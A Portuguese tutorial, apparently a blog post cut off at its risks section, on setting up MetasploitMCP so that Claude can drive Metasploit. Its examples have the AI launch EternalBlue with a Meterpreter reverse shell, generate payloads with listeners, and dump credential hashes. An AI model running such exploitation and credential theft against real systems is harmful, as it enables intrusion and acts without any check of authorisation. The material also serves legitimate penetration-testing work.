Instalação e Configuração

Requisitos

• Metasploit Framework instalado (Kali Linux ou qualquer distro com `msf` disponível)
• Python 3.10+
• `msfrpcd` rodando e acessível

Passo 1: Clonar e instalar dependências

“`bash

git clone https://github.com/GH05TCREW/MetasploitMCP.git

cd MetasploitMCP

pip install -r requirements.txt

“`

Passo 2: Iniciar o Metasploit RPC

“`bash

msfrpcd -P sua_senha -S -a 127.0.0.1 -p 55553

“`

O `-S` desabilita SSL (para uso local em lab — nunca faça isso em produção). A senha será usada pelo MCP server para autenticar.

Passo 3: Configurar variáveis de ambiente

“`bash

export MSF_PASSWORD=sua_senha

export MSF_SERVER=127.0.0.1

export MSF_PORT=55553

export MSF_SSL=false

export PAYLOAD_SAVE_DIR=~/payloads

“`

Passo 4: Iniciar o MCP Server

“`bash

HTTP/SSE (para clientes remotos)

python MetasploitMCP.py –transport http –host 0.0.0.0 –port 8085

STDIO (para Claude Desktop)

python MetasploitMCP.py –transport stdio

“`

Integração com Claude Desktop

Adicione ao `claude_desktop_config.json`:

“`json

{

“mcpServers”: {

“metasploit”: {

“command”: “uv”,

“args”: [

“–directory”, “/caminho/para/MetasploitMCP”,

“run”, “MetasploitMCP.py”,

“–transport”, “stdio”

],

“env”: {

“MSF_PASSWORD”: “sua_senha”

}

}

}

}

“`

As 11 Ferramentas Disponíveis

O MetasploitMCP expõe um conjunto completo de operações:

• `list_exploits` — busca e lista módulos de exploit disponíveis no Metasploit
• `list_payloads` — lista payloads com filtros por plataforma e arquitetura
• `run_exploit` — configura e executa um exploit contra um alvo, com opção de rodar checks antes
• `run_auxiliary_module` — executa qualquer módulo auxiliar (scanner, dos, etc.)
• `run_post_module` — executa módulos de pós-exploração contra sessões ativas

• `generate_payload` — gera payloads via Metasploit RPC, salvando localmente
• `list_active_sessions` — mostra sessões ativas com detalhes (tipo, túneis, uptime)
• `send_session_command` — executa comandos em shells ou sessões Meterpreter
• `terminate_session` — encerra sessões ativas

• `list_listeners` — lista handlers e jobs em execução
• `start_listener` — cria um novo multi/handler para receber conexões
• `stop_job` — finaliza jobs ou handlers em execução

Fluxo de Trabalho Prático

Exemplo 1: Exploração básica com linguagem natural

Com o MCP integrado ao Claude, o fluxo de trabalho fica assim:

“`

Usuário: “Busque exploits relacionados ao MS17-010”

→ Claude chama list_exploits(“ms17_010”)

→ Retorna: exploit/windows/smb/ms17_010_eternalblue e variantes

Usuário: “Rode o EternalBlue contra 192.168.1.100 com payload reverse_tcp para meu IP”

→ Claude chama run_exploit(“exploit/windows/smb/ms17_010_eternalblue”,

{“RHOSTS”: “192.168.1.100”},

“windows/x64/meterpreter/reverse_tcp”,

{“LHOST”: “192.168.1.10”, “LPORT”: 4444})

Usuário: “Quais sessões estão ativas?”

→ Claude chama list_active_sessions()

Usuário: “Rode sysinfo e whoami na sessão 1”

→ Claude chama send_session_command(1, “sysinfo”) e send_session_command(1, “whoami”)

“`

O LLM encadeia as chamadas automaticamente. Não é preciso memorizar sintaxe do Metasploit — basta descrever o objetivo.

Exemplo 2: Geração de payload e configuração de listener

“`

Usuário: “Gere um payload reverse_tcp para Windows x64 e configure um listener na porta 4444”

→ Claude chama:

1. start_listener(“windows/meterpreter/reverse_tcp”, “192.168.1.10”, 4444)

2. generate_payload(“windows/meterpreter/reverse_tcp”, “exe”,

{“LHOST”: “192.168.1.10”, “LPORT”: 4444})

→ Payload salvo em ~/payloads/

“`

Exemplo 3: Pós-exploração

“`

Usuário: “Enumere os usuários logados na máquina da sessão 1”

→ Claude chama run_post_module(“windows/gather/enum_logged_on_users”, 1)

Usuário: “Faça um dump de credenciais”

→ Claude chama run_post_module(“windows/gather/smart_hashdump”, 1)

“`

Análise Crítica: Prós e Contras

Prós

Contras

Riscos de Segurança

O aviso do projeto é claro: “This tool provides direct access to Metasploit Framework capabilities.” Mas vai além do que a maioria dos analistas percebe: